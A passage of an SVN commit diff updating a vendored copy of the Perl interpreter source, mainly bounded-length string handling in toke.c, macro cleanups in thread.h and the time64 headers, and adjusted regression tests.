         $try = $try . $alpha;
@@ -1141,7 +1144,7 @@
         my $found;
         while (<$fh>) {
             if (/^__END__/) {
-                ++$found;
+                $found = $found + 1; # don't use ++
                 last;
             }
         }
@@ -1516,6 +1519,7 @@
 
     local @::__capture;
     local $SIG {__WARN__} = \&__capture;
+    local $Level = 1;
     &$code;
     return @::__capture;
 }

Modified: vendor/perl/dist/t/thread_it.pl
===================================================================
--- vendor/perl/dist/t/thread_it.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/thread_it.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -36,7 +36,7 @@
                             stack_size => $^O eq 'hpux'   ? 524288 :
                                           $^O eq 'darwin' ? 2000000:
                                           $^O eq 'VMS'    ? 150000 :
-                                          $^O eq 'aix'    ? 1000000 : 0,
+                                          $^O eq 'aix'    ? 1500000 : 0,
                            }, sub {
 			       run_tests();
 			       return defined &curr_test ? curr_test() : ()

Modified: vendor/perl/dist/t/uni/cache.t
===================================================================
--- vendor/perl/dist/t/uni/cache.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/uni/cache.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,6 +2,7 @@
     chdir 't' if -d 't';
     require './test.pl';
     set_up_inc('../lib');
+    skip_all("utf8_heavy no longer used much");
     skip_all_without_unicode_tables();
 }
 

Modified: vendor/perl/dist/t/uni/caller.t
===================================================================
--- vendor/perl/dist/t/uni/caller.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/uni/caller.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -26,6 +26,9 @@
 
 # Bug 20020517.003 (#9367), used to dump core
 sub foo { @c = caller(0) }
+# The subroutine only gets anonymised if it is relying on a real GV
+# for its name.
+() = *{"foo"}; # with quotes so that the op tree doesn’t reference the GV
 my $fooref = delete $main::{foo};
 $fooref -> ();
 ::is( $c[3], "main::__ANON__", "deleted subroutine name" );
@@ -55,6 +58,7 @@
 ::ok( $c[4], "hasargs true with anon sub" );
 
 sub foo2 { f() }
+() = *{"foo2"}; # see foo notes above
 my $fooref2 = delete $main::{foo2};
 $fooref2 -> ();
 ::is( $c[3], "main::__ANON__", "deleted subroutine name" );

Deleted: vendor/perl/dist/t/uni/heavy.t
===================================================================
--- vendor/perl/dist/t/uni/heavy.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/uni/heavy.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,40 +0,0 @@
-#!./perl -w
-# tests that utf8_heavy.pl doesn't use anything that prevents it loading
-BEGIN {
-    chdir 't' if -d 't';
-    require './test.pl';
-    set_up_inc('../lib');
-}
-
-plan tests => 1;
-
-# see [perl #126593]
-fresh_perl_is(<<'EOP', "", { stderr => 1 }, "doesn't break with \${^ENCODING}");
-no warnings qw(deprecated);
-package Foo;
-sub cat_decode {
-    # stolen from Encode.pm
-    my ( undef, undef, undef, $pos, $trm ) = @_;
-    my ( $rdst, $rsrc, $rpos ) = \@_[ 1, 2, 3 ];
-    use bytes;
-    if ( ( my $npos = index( $$rsrc, $trm, $pos ) ) >= 0 ) {
-        $$rdst .=
-          substr( $$rsrc, $pos, $npos - $pos + length($trm) );
-        $$rpos = $npos + length($trm);
-        return 1;
-    }
-    $$rdst .= substr( $$rsrc, $pos );
-    $$rpos = length($$rsrc);
-    return q();
-}
-
-sub decode {
-   my (undef, $tmp) = @_;
-   utf8::decode($tmp);
-   $tmp;
-}
-
-BEGIN { ${^ENCODING} = bless [], q(Foo) };
-
-(my $tmp = q(abc)) =~ tr/abc/123/;
-EOP

Modified: vendor/perl/dist/t/uni/parser.t
===================================================================
--- vendor/perl/dist/t/uni/parser.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/uni/parser.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,10 +6,11 @@
 BEGIN {
     chdir 't' if -d 't';
     require './test.pl';
+    require './charset_tools.pl';
     skip_all_without_unicode_tables();
 }
 
-plan (tests => 55);
+plan (tests => 57);
 
 use utf8;
 use open qw( :utf8 :std );
@@ -231,17 +232,29 @@
         {stderr => 1}, "RT# 124216");
 }
 
-SKIP: {   # [perl #128738]
+SKIP: {
+
     use Config;
     if ($Config{uvsize} < 8) {
-        skip("test is only valid on 64-bit ints", 2);
+        skip("test is only valid on 64-bit ints", 4);
     }
     else {
-        no warnings 'deprecated';
         my $a;
-        eval "\$a = q \x{ffffffff}Hello, \\\\whirled!\x{ffffffff}";
+        my $b;
+
+        # This caused a memory fault [perl #128738]
+        $b = byte_utf8a_to_utf8n("\xFE\x82\x80\x80\x80\x80\x80"); # 0x80000000
+        eval "\$a = q ${b}abc${b}";
         is $@, "",
                "No errors in eval'ing a string with large code point delimiter";
+        is $a, 'abc',
+               "Got expected result in eval'ing a string with a large code point"
+            . " delimiter";
+
+        $b = byte_utf8a_to_utf8n("\xFE\x83\xBF\xBF\xBF\xBF\xBF"); # 0xFFFFFFFF
+        eval "\$a = q ${b}Hello, \\\\whirled!${b}";
+        is $@, "",
+               "No errors in eval'ing a string with large code point delimiter";
         is $a, 'Hello, \whirled!',
                "Got expected result in eval'ing a string with a large code point"
             . " delimiter";

Modified: vendor/perl/dist/t/uni/stash.t
===================================================================
--- vendor/perl/dist/t/uni/stash.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/uni/stash.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -170,7 +170,7 @@
             package FŌŌ3;
             sub 남えㄉ {};
             my $anon = sub {};
-            my $남えㄉ = eval q[\&남えㄉ];
+            my $남えㄉ = eval q[*남えㄉ{CODE}]; # not \&남えㄉ; need a real GV
             package main;
             delete $FŌŌ3::{남えㄉ}; # make named anonymous
     

Modified: vendor/perl/dist/t/win32/runenv.t
===================================================================
--- vendor/perl/dist/t/win32/runenv.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/win32/runenv.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,10 +14,10 @@
     require Win32;
     ($::os_id, $::os_major) = ( Win32::GetOSVersion() )[ 4, 1 ];
     if ($::os_id == 2 and $::os_major == 6) {    # Vista, Server 2008 (incl R2), 7
-	$::tests = 43;
+	$::tests = 45;
     }
     else {
-	$::tests = 40;
+	$::tests = 42;
     }
 
     require './test.pl';
@@ -70,11 +70,12 @@
 }
 
 sub try {
-  my ($env, $args, $stdout, $stderr) = @_;
+  my ($env, $args, $stdout, $stderr, $name) = @_;
   my ($actual_stdout, $actual_stderr) = runperl_and_capture($env, $args);
+  $name ||= "";
   local $::Level = $::Level + 1;
-  is $actual_stdout, $stdout;
-  is $actual_stderr, $stderr;
+  is $actual_stdout, $stdout, "$name - stdout";
+  is $actual_stderr, $stderr, "$name - stderr";
 }
 
 #  PERL5OPT    Command-line options (switches).  Switches in
@@ -196,6 +197,16 @@
     '',
     '');
 
+{
+    # 131665
+    # crashes without the fix
+    my $longname = "X" x 2048;
+    try({ $longname => 1 },
+        [ '-e', '"print q/ok/"' ],
+        'ok', '',
+        'very long env var names' );
+}
+
 # Tests for S_incpush_use_sep():
 
 my @dump_inc = ('-e', '"print \"$_\n\" foreach @INC"');

Modified: vendor/perl/dist/taint.c
===================================================================
--- vendor/perl/dist/taint.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/taint.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -62,7 +62,7 @@
         /* XXX because taint_proper adds extra format args, we can't
          * get the caller to check properly; o we just silence the warning
          * and hope the callers aren't naughty */
-        GCC_DIAG_IGNORE(-Wformat-nonliteral);
+        GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral);
 	if (PL_unsafe || TAINT_WARN_get) {
 	    Perl_ck_warner_d(aTHX_ packWARN(WARN_TAINT), f, s, ug);
         }
@@ -69,7 +69,7 @@
         else {
             Perl_croak(aTHX_ f, s, ug);
         }
-        GCC_DIAG_RESTORE;
+        GCC_DIAG_RESTORE_STMT;
 
     }
 }
@@ -122,7 +122,7 @@
     while (1) {
         MAGIC* mg;
 	if (i)
-	    len = my_sprintf(name,"DCL$PATH;%d", i);
+	    len = my_snprintf(name, sizeof name, "DCL$PATH;%d", i);
 	svp = hv_fetch(GvHVn(PL_envgv), name, len, FALSE);
 	if (!svp || *svp == &PL_sv_undef)
 	    break;

Modified: vendor/perl/dist/thread.h
===================================================================
--- vendor/perl/dist/thread.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/thread.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,8 +16,7 @@
 
 #ifdef WIN32
 #  include <win32thread.h>
-#else
-#ifdef NETWARE
+#elif defined(NETWARE)
 #  include <nw5thread.h>
 #else
 #  ifdef OLD_PTHREADS_API /* Here be dragons. */
@@ -71,7 +70,6 @@
 #    define pthread_mutexattr_default NULL
 #    define pthread_condattr_default  NULL
 #  endif
-#endif	/* NETWARE */
 #endif
 
 #ifndef PTHREAD_CREATE
@@ -147,7 +145,7 @@
     } STMT_END
 
 #define THREAD_CREATE(thr, f)	(thr->self = cthread_fork(f, thr), 0)
-#define THREAD_POST_CREATE(thr)
+#define THREAD_POST_CREATE(thr)	NOOP
 
 #define THREAD_RET_TYPE		any_t
 #define THREAD_RET_CAST(x)	((any_t) x)
@@ -169,16 +167,12 @@
 #ifndef YIELD
 #  ifdef SCHED_YIELD
 #    define YIELD SCHED_YIELD
-#  else
-#    ifdef HAS_SCHED_YIELD
-#      define YIELD sched_yield()
-#    else
-#      ifdef HAS_PTHREAD_YIELD
+#  elif defined(HAS_SCHED_YIELD)
+#    define YIELD sched_yield()
+#  elif defined(HAS_PTHREAD_YIELD)
     /* pthread_yield(NULL) platforms are expected
      * to have #defined YIELD for themselves. */
-#        define YIELD pthread_yield()
-#      endif
-#    endif
+#    define YIELD pthread_yield()
 #  endif
 #endif
 
@@ -378,47 +372,47 @@
 #endif /* USE_ITHREADS */
 
 #ifndef MUTEX_LOCK
-#  define MUTEX_LOCK(m)
+#  define MUTEX_LOCK(m)           NOOP
 #endif
 
 #ifndef MUTEX_UNLOCK
-#  define MUTEX_UNLOCK(m)
+#  define MUTEX_UNLOCK(m)         NOOP
 #endif
 
 #ifndef MUTEX_INIT
-#  define MUTEX_INIT(m)
+#  define MUTEX_INIT(m)           NOOP
 #endif
 
 #ifndef MUTEX_DESTROY
-#  define MUTEX_DESTROY(m)
+#  define MUTEX_DESTROY(m)        NOOP
 #endif
 
 #ifndef COND_INIT
-#  define COND_INIT(c)
+#  define COND_INIT(c)            NOOP
 #endif
 
 #ifndef COND_SIGNAL
-#  define COND_SIGNAL(c)
+#  define COND_SIGNAL(c)          NOOP
 #endif
 
 #ifndef COND_BROADCAST
-#  define COND_BROADCAST(c)
+#  define COND_BROADCAST(c)       NOOP
 #endif
 
 #ifndef COND_WAIT
-#  define COND_WAIT(c, m)
+#  define COND_WAIT(c, m)         NOOP
 #endif
 
 #ifndef COND_DESTROY
-#  define COND_DESTROY(c)
+#  define COND_DESTROY(c)         NOOP
 #endif
 
 #ifndef LOCK_DOLLARZERO_MUTEX
-#  define LOCK_DOLLARZERO_MUTEX
+#  define LOCK_DOLLARZERO_MUTEX   NOOP
 #endif
 
 #ifndef UNLOCK_DOLLARZERO_MUTEX
-#  define UNLOCK_DOLLARZERO_MUTEX
+#  define UNLOCK_DOLLARZERO_MUTEX NOOP
 #endif
 
 /* THR, SET_THR, and dTHR are there for compatibility with old versions */

Modified: vendor/perl/dist/time64.h
===================================================================
--- vendor/perl/dist/time64.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/time64.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,8 +1,8 @@
 #include <time.h>
 #include "time64_config.h"
 
-#ifndef TIME64_H
-#    define TIME64_H
+#ifndef PERL_TIME64_H_
+#    define PERL_TIME64_H_
 
 
 /* Set our custom types */

Modified: vendor/perl/dist/time64_config.h
===================================================================
--- vendor/perl/dist/time64_config.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/time64_config.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
-#ifndef TIME64_CONFIG_H
-#    define TIME64_CONFIG_H
+#ifndef PERL_TIME64_CONFIG_H_
+#    define PERL_TIME64_CONFIG_H_
 
 /* Configuration
    -------------
@@ -82,4 +82,4 @@
 #define SYSTEM_GMTIME_MAX       CAT2(GMTIME_MAX,.0)
 #define SYSTEM_GMTIME_MIN       CAT2(GMTIME_MIN,.0)
 
-#endif /* TIME64_CONFIG_H */
+#endif /* PERL_TIME64_CONFIG_H_ */

Modified: vendor/perl/dist/toke.c
===================================================================
--- vendor/perl/dist/toke.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/toke.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -39,6 +39,7 @@
 #define PERL_IN_TOKE_C
 #include "perl.h"
 #include "dquote_inline.h"
+#include "invlist_inline.h"
 
 #define new_constant(a,b,c,d,e,f,g)	\
 	S_new_constant(aTHX_ a,b,STR_WITH_LEN(c),d,e,f, g)
@@ -310,6 +311,7 @@
     { ANDAND,		TOKENTYPE_NONE,		"ANDAND" },
     { ANDOP,		TOKENTYPE_NONE,		"ANDOP" },
     { ANONSUB,		TOKENTYPE_IVAL,		"ANONSUB" },
+    { ANON_SIGSUB,	TOKENTYPE_IVAL,		"ANON_SIGSUB" },
     { ARROW,		TOKENTYPE_NONE,		"ARROW" },
     { ASSIGNOP,		TOKENTYPE_OPNUM,	"ASSIGNOP" },
     { BITANDOP,		TOKENTYPE_OPNUM,	"BITANDOP" },
@@ -367,6 +369,7 @@
     { RELOP,		TOKENTYPE_OPNUM,	"RELOP" },
     { REQUIRE,		TOKENTYPE_NONE,		"REQUIRE" },
     { SHIFTOP,		TOKENTYPE_OPNUM,	"SHIFTOP" },
+    { SIGSUB,		TOKENTYPE_NONE,		"SIGSUB" },
     { SUB,		TOKENTYPE_NONE,		"SUB" },
     { THING,		TOKENTYPE_OPVAL,	"THING" },
     { UMINUS,		TOKENTYPE_NONE,		"UMINUS" },
@@ -456,21 +459,14 @@
 
     PERL_ARGS_ASSERT_PRINTBUF;
 
-    GCC_DIAG_IGNORE(-Wformat-nonliteral); /* fmt checked by caller */
+    GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral); /* fmt checked by caller */
     PerlIO_printf(Perl_debug_log, fmt, pv_display(tmp, s, strlen(s), 0, 60));
-    GCC_DIAG_RESTORE;
+    GCC_DIAG_RESTORE_STMT;
     SvREFCNT_dec(tmp);
 }
 
 #endif
 
-static int
-S_deprecate_commaless_var_list(pTHX) {
-    PL_expect = XTERM;
-    deprecate_fatal_in("5.28", "Use of comma-less variable list is deprecated");
-    return REPORT(','); /* grandfather non-comma-format format */
-}
-
 /*
  * S_ao
  *
@@ -563,7 +559,7 @@
  */
 
 STATIC void
-S_missingterm(pTHX_ char *s)
+S_missingterm(pTHX_ char *s, STRLEN len)
 {
     char tmpbuf[UTF8_MAXBYTES + 1];
     char q;
@@ -570,9 +566,11 @@
     bool uni = FALSE;
     SV *sv;
     if (s) {
-	char * const nl = strrchr(s,'\n');
-	if (nl)
-	    *nl = '\0';
+	char * const nl = (char *) my_memrchr(s, '\n', len);
+        if (nl) {
+            *nl = '\0';
+            len = nl - s;
+        }
 	uni = UTF;
     }
     else if (PL_multi_close < 32) {
@@ -580,24 +578,28 @@
 	tmpbuf[1] = (char)toCTRL(PL_multi_close);
 	tmpbuf[2] = '\0';
 	s = tmpbuf;
+        len = 2;
     }
     else {
 	if (LIKELY(PL_multi_close < 256)) {
 	    *tmpbuf = (char)PL_multi_close;
 	    tmpbuf[1] = '\0';
+            len = 1;
 	}
 	else {
+            char *end = (char *)uvchr_to_utf8((U8 *)tmpbuf, PL_multi_close);
+            *end = '\0';
+            len = end - tmpbuf;
 	    uni = TRUE;
-	    *uvchr_to_utf8((U8 *)tmpbuf, PL_multi_close) = 0;
 	}
 	s = tmpbuf;
     }
-    q = strchr(s,'"') ? '\'' : '"';
-    sv = sv_2mortal(newSVpv(s,0));
+    q = memchr(s, '"', len) ? '\'' : '"';
+    sv = sv_2mortal(newSVpvn(s, len));
     if (uni)
 	SvUTF8_on(sv);
-    Perl_croak(aTHX_ "Can't find string terminator %c%" SVf
-		     "%c anywhere before EOF",q,SVfARG(sv),q);
+    Perl_croak(aTHX_ "Can't find string terminator %c%" SVf "%c"
+                     " anywhere before EOF", q, SVfARG(sv), q);
 }
 
 #include "feature.h"
@@ -1036,13 +1038,7 @@
 	    	SvCUR(PL_parser->linestr) + len+highhalf);
 	    PL_parser->bufend += len+highhalf;
 	    for (p = pv; p != e; p++) {
-		U8 c = (U8)*p;
-		if (! UTF8_IS_INVARIANT(c)) {
-		    *bufptr++ = UTF8_TWO_BYTE_HI(c);
-		    *bufptr++ = UTF8_TWO_BYTE_LO(c);
-		} else {
-		    *bufptr++ = (char)c;
-		}
+                append_utf8_from_native_byte(*p, (U8 **) &bufptr);
 	    }
 	}
     } else {
@@ -1579,7 +1575,7 @@
 		if (s == bufend)
 		    need_incline = 1;
 		else
-		    incline(s);
+		    incline(s, bufend);
 	    }
 	} else if (isSPACE(c)) {
 	    s++;
@@ -1598,7 +1594,7 @@
 	    if (!got_more)
 		break;
 	    if (can_incline && need_incline && PL_parser->rsfp) {
-		incline(s);
+		incline(s, bufend);
 		need_incline = 0;
 	    }
 	} else if (!c) {
@@ -1630,7 +1626,7 @@
  */
 
 bool
-Perl_validate_proto(pTHX_ SV *name, SV *proto, bool warn)
+Perl_validate_proto(pTHX_ SV *name, SV *proto, bool warn, bool curstash)
 {
     STRLEN len, origlen;
     char *p;
@@ -1692,6 +1688,13 @@
 	                     origlen, UNI_DISPLAY_ISPRINT)
 	    : pv_pretty(tmpsv, p, origlen, 60, NULL, NULL, PERL_PV_ESCAPE_NONASCII);
 
+	if (curstash && !memchr(SvPVX(name), ':', SvCUR(name))) {
+	    SV *name2 = sv_2mortal(newSVsv(PL_curstname));
+	    sv_catpvs(name2, "::");
+	    sv_catsv(name2, (SV *)name);
+	    name = name2;
+	}
+
 	if (proto_after_greedy_proto)
 	    Perl_warner(aTHX_ packWARN(WARN_ILLEGALPROTO),
 			"Prototype after '%c' for %" SVf " : %s",
@@ -1724,7 +1727,7 @@
  */
 
 STATIC void
-S_incline(pTHX_ const char *s)
+S_incline(pTHX_ const char *s, const char *end)
 {
     const char *t;
     const char *n;
@@ -1734,6 +1737,8 @@
 
     PERL_ARGS_ASSERT_INCLINE;
 
+    assert(end >= s);
+
     COPLINE_INC_WITH_HERELINES;
     if (!PL_rsfp && !PL_parser->filtered && PL_lex_state == LEX_NORMAL
      && s+1 == PL_bufend && *s == ';') {
@@ -1745,8 +1750,8 @@
 	return;
     while (SPACE_OR_TAB(*s))
 	s++;
-    if (strEQs(s, "line"))
-	s += 4;
+    if (memBEGINs(s, (STRLEN) (end - s), "line"))
+	s += sizeof("line") - 1;
     else
 	return;
     if (SPACE_OR_TAB(*s))
@@ -1765,7 +1770,7 @@
 	return;
     while (SPACE_OR_TAB(*s))
 	s++;
-    if (*s == '"' && (t = strchr(s+1, '"'))) {
+    if (*s == '"' && (t = (char *) memchr(s+1, '"', end - s))) {
 	s++;
 	e = t + 1;
     }
@@ -1919,7 +1924,6 @@
 S_check_uni(pTHX)
 {
     const char *s;
-    const char *t;
 
     if (PL_oldoldbufptr != PL_last_uni)
 	return;
@@ -1928,7 +1932,7 @@
     s = PL_last_uni;
     while (isWORDCHAR_lazy_if_safe(s, PL_bufend, UTF) || *s == '-')
 	s += UTF ? UTF8SKIP(s) : 1;
-    if ((t = strchr(s, '(')) && t < PL_bufptr)
+    if (s < PL_bufptr && memchr(s, '(', PL_bufptr - s))
 	return;
 
     Perl_ck_warner_d(aTHX_ packWARN(WARN_AMBIGUOUS),
@@ -2007,7 +2011,7 @@
  * S_postderef
  *
  * This subroutine handles postfix deref syntax after the arrow has already
- * been emitted.  @* $* etc. are emitted as two separate token right here.
+ * been emitted.  @* $* etc. are emitted as two separate tokens right here.
  * @[ @{ %[ %{ *{ are emitted also as two tokens, but this function emits
  * only the first, leaving yylex to find the next.
  */
@@ -2062,10 +2066,9 @@
 S_newSV_maybe_utf8(pTHX_ const char *const start, STRLEN len)
 {
     SV * const sv = newSVpvn_utf8(start, len,
-                          !IN_BYTES
-                          && UTF
-                          && !is_utf8_invariant_string((const U8*)start, len)
-                          && is_utf8_string((const U8*)start, len));
+                    ! IN_BYTES
+                  &&  UTF
+                  &&  is_utf8_non_invariant_string((const U8*)start, len));
     return sv;
 }
 
@@ -2103,8 +2106,10 @@
 	if (check_keyword) {
 	  char *s2 = PL_tokenbuf;
 	  STRLEN len2 = len;
-	  if (allow_pack && len > 6 && strEQs(s2, "CORE::"))
-	    s2 += 6, len2 -= 6;
+	  if (allow_pack && memBEGINPs(s2, len, "CORE::")) {
+	    s2 += sizeof("CORE::") - 1;
+            len2 -= sizeof("CORE::") - 1;
+          }
 	  if (keyword(s2, len2, 0))
 	    return start;
 	}
@@ -2388,6 +2393,8 @@
     PL_parser->lex_super_state = PL_lex_state;
     PL_parser->lex_sub_inwhat = (U16)op_type;
     PL_parser->lex_sub_op = PL_lex_op;
+    PL_parser->sub_no_recover = FALSE;
+    PL_parser->sub_error_count = PL_error_count;
     PL_lex_state = LEX_INTERPPUSH;
 
     PL_expect = XTERM;
@@ -2567,6 +2574,20 @@
     else {
 	const line_t l = CopLINE(PL_curcop);
 	LEAVE;
+        if (PL_parser->sub_error_count != PL_error_count) {
+            const char * const name = OutCopFILE(PL_curcop);
+            if (PL_parser->sub_no_recover) {
+                const char * msg = "";
+                if (PL_in_eval) {
+                    SV *errsv = ERRSV;
+                    if (SvCUR(ERRSV)) {
+                        msg = Perl_form(aTHX_ "%" SVf, SVfARG(errsv));
+                    }
+                }
+                abort_execution(msg, name);
+                NOT_REACHED;
+            }
+        }
 	if (PL_multi_close == '<')
 	    PL_parser->herelines += l - PL_multi_end;
 	PL_bufend = SvPVX(PL_linestr);
@@ -2595,8 +2616,10 @@
     PERL_ARGS_ASSERT_GET_AND_CHECK_BACKSLASH_N_NAME;
 
     if (!SvCUR(res)) {
-        deprecate_fatal_in("5.28", "Unknown charname '' is deprecated");
-        return res;
+        SvREFCNT_dec_NN(res);
+        /* diag_listed_as: Unknown charname '%s' */
+        yyerror("Unknown charname ''");
+        return NULL;
     }
 
     res = new_constant( NULL, 0, "charnames", res, NULL, backslash_ptr,
@@ -2616,8 +2639,7 @@
         SvTYPE(rv) == SVt_PVCV) && ((stash = CvSTASH(rv)) != NULL))
     {
         const char * const name = HvNAME(stash);
-        if (HvNAMELEN(stash) == sizeof("_charnames")-1
-         && strEQ(name, "_charnames")) {
+         if (memEQs(name, HvNAMELEN(stash), "_charnames")) {
            return res;
        }
     }
@@ -2662,14 +2684,11 @@
             s += 2;
         }
         else {
-            if (! PL_utf8_charname_begin) {
-                U8 flags = _CORE_SWASH_INIT_ACCEPT_INVLIST;
-                PL_utf8_charname_begin = _core_swash_init("utf8",
-                                                        "_Perl_Charname_Begin",
-                                                        &PL_sv_undef,
-                                                        1, 0, NULL, &flags);
-            }
-            if (! swash_fetch(PL_utf8_charname_begin, (U8 *) s, TRUE)) {
+            if (! _invlist_contains_cp(PL_utf8_charname_begin,
+                                       utf8_to_uvchr_buf((U8 *) s,
+                                                         (U8 *) e,
+                                                         NULL)))
+            {
                 goto bad_charname;
             }
             s += UTF8SKIP(s);
@@ -2693,14 +2712,11 @@
                 s += 2;
             }
             else {
-                if (! PL_utf8_charname_continue) {
-                    U8 flags = _CORE_SWASH_INIT_ACCEPT_INVLIST;
-                    PL_utf8_charname_continue = _core_swash_init("utf8",
-                                                "_Perl_Charname_Continue",
-                                                &PL_sv_undef,
-                                                1, 0, NULL, &flags);
-                }
-                if (! swash_fetch(PL_utf8_charname_continue, (U8 *) s, TRUE)) {
+                if (! _invlist_contains_cp(PL_utf8_charname_continue,
+                                           utf8_to_uvchr_buf((U8 *) s,
+                                                             (U8 *) e,
+                                                             NULL)))
+                {
                     goto bad_charname;
                 }
                 s += UTF8SKIP(s);
@@ -2708,6 +2724,9 @@
         }
     }
     if (*(s-1) == ' ') {
+        /* diag_listed_as: charnames alias definitions may not contain
+                           trailing white-space; marked by <-- HERE in %s
+         */
         yyerror_pv(
             Perl_form(aTHX_
             "charnames alias definitions may not contain trailing "
@@ -2730,6 +2749,8 @@
                                               (U8 *) PL_parser->bufend,
                                               0,
                                               0 /* 0 means don't die */ );
+            /* diag_listed_as: Malformed UTF-8 returned by \N{%s}
+                               immediately after '%s' */
             yyerror_pv(
               Perl_form(aTHX_
                 "Malformed UTF-8 returned by %.*s immediately after '%.*s'",
@@ -2747,6 +2768,8 @@
 
         /* The final %.*s makes sure that should the trailing NUL be missing
          * that this print won't run off the end of the string */
+        /* diag_listed_as: Invalid character in \N{...}; marked by <-- HERE
+                           in \N{%s} */
         yyerror_pv(
           Perl_form(aTHX_
             "Invalid character in \\N{...}; marked by <-- HERE in %.*s<-- HERE %.*s",
@@ -2758,6 +2781,9 @@
     }
 
   multi_spaces:
+        /* diag_listed_as: charnames alias definitions may not contain a
+                           sequence of multiple spaces; marked by <-- HERE
+                           in %s */
         yyerror_pv(
           Perl_form(aTHX_
             "charnames alias definitions may not contain a sequence of "
@@ -2882,8 +2908,8 @@
                                            should we have to convert to
                                            UTF-8) */
     SV *res;		                /* result from charnames */
-    STRLEN offset_to_max;   /* The offset in the output to where the range
-                               high-end character is temporarily placed */
+    STRLEN offset_to_max = 0;   /* The offset in the output to where the range
+                                   high-end character is temporarily placed */
 
     /* Does something require special handling in tr/// ?  This avoids extra
      * work in a less likely case.  As such, khw didn't feel it was worth
@@ -2958,9 +2984,9 @@
 
                 /* Here, we don't think we're in a range.  If the new character
                  * is not a hyphen; or if it is a hyphen, but it's too close to
-                 * either edge to indicate a range, then it's a regular
-                 * character. */
-                if (*s != '-' || s >= send - 1 || s == start) {
+                 * either edge to indicate a range, or if we haven't output any
+                 * characters yet then it's a regular character. */
+                if (*s != '-' || s >= send - 1 || s == start || d == SvPVX(sv)) {
 
                     /* A regular character.  Process like any other, but first
                      * clear any flags */
@@ -3495,7 +3521,8 @@
 		{
 		    const char* error;
 
-		    bool valid = grok_bslash_o(&s, &uv, &error,
+		    bool valid = grok_bslash_o(&s, PL_bufend,
+                                               &uv, &error,
                                                TRUE, /* Output warning */
                                                FALSE, /* Not strict */
                                                TRUE, /* Output warnings for
@@ -3513,7 +3540,8 @@
 		{
 		    const char* error;
 
-		    bool valid = grok_bslash_x(&s, &uv, &error,
+		    bool valid = grok_bslash_x(&s, PL_bufend,
+                                               &uv, &error,
                                                TRUE, /* Output warning */
                                                FALSE, /* Not strict */
                                                TRUE,  /* Output warnings for
@@ -3616,11 +3644,12 @@
                  * For non-patterns, the named characters are converted to
                  * their string equivalents.  In patterns, named characters are
                  * not converted to their ultimate forms for the same reasons
-                 * that other escapes aren't.  Instead, they are converted to
-                 * the \N{U+...} form to get the value from the charnames that
-                 * is in effect right now, while preserving the fact that it
-                 * was a named character, so that the regex compiler knows
-                 * this.
+                 * that other escapes aren't (mainly that the ultimate
+                 * character could be considered a meta-symbol by the regex
+                 * compiler).  Instead, they are converted to the \N{U+...}
+                 * form to get the value from the charnames that is in effect
+                 * right now, while preserving the fact that it was a named
+                 * character, so that the regex compiler knows this.
                  *
 		 * The structure of this section of code (besides checking for
 		 * errors and upgrading to utf8) is:
@@ -3647,7 +3676,7 @@
 		s++;
 
 		/* If there is no matching '}', it is an error. */
-		if (! (e = strchr(s, '}'))) {
+		if (! (e = (char *) memchr(s, '}', send - s))) {
 		    if (! PL_lex_inpat) {
 			yyerror("Missing right brace on \\N{}");
 		    } else {
@@ -4126,7 +4155,7 @@
 /* This is the one truly awful dwimmer necessary to conflate C and sed. */
 
 STATIC int
-S_intuit_more(pTHX_ char *s)
+S_intuit_more(pTHX_ char *s, char *e)
 {
     PERL_ARGS_ASSERT_INTUIT_MORE;
 
@@ -4141,6 +4170,7 @@
 	return TRUE;
     if (*s != '{' && *s != '[')
 	return FALSE;
+    PL_parser->sub_no_recover = TRUE;
     if (!PL_lex_inpat)
 	return TRUE;
 
@@ -4161,7 +4191,7 @@
         /* this is terrifying, and it works */
 	int weight;
 	char seen[256];
-	const char * const send = strchr(s,']');
+	const char * const send = (char *) memchr(s, ']', e - s);
 	unsigned char un_char, last_un_char;
 	char tmpbuf[sizeof PL_tokenbuf * 4];
 
@@ -4432,8 +4462,8 @@
 		    PL_parser->last_uni = buf + last_uni_pos;
 		if (PL_parser->last_lop)
 		    PL_parser->last_lop = buf + last_lop_pos;
-		SvLEN(linestr) = SvCUR(linestr);
-		SvCUR(linestr) = s-SvPVX(linestr);
+		SvLEN_set(linestr, SvCUR(linestr));
+		SvCUR_set(linestr, s - SvPVX(linestr));
 		PL_parser->filtered = 1;
 		break;
 	    }
@@ -4476,6 +4506,7 @@
 Perl_filter_read(pTHX_ int idx, SV *buf_sv, int maxlen)
 {
     filter_t funcp;
+    I32 ret;
     SV *datasv = NULL;
     /* This API is bad. It should have been using unsigned int for maxlen.
        Not sure if we want to change the API, but if not we should sanity
@@ -4558,7 +4589,11 @@
     /* Call function. The function is expected to 	*/
     /* call "FILTER_READ(idx+1, buf_sv)" first.		*/
     /* Return: <0:error, =0:eof, >0:not eof 		*/
-    return (*funcp)(aTHX_ idx, buf_sv, correct_length);
+    ENTER;
+    save_scalar(PL_errgv);
+    ret = (*funcp)(aTHX_ idx, buf_sv, correct_length);
+    LEAVE;
+    return ret;
 }
 
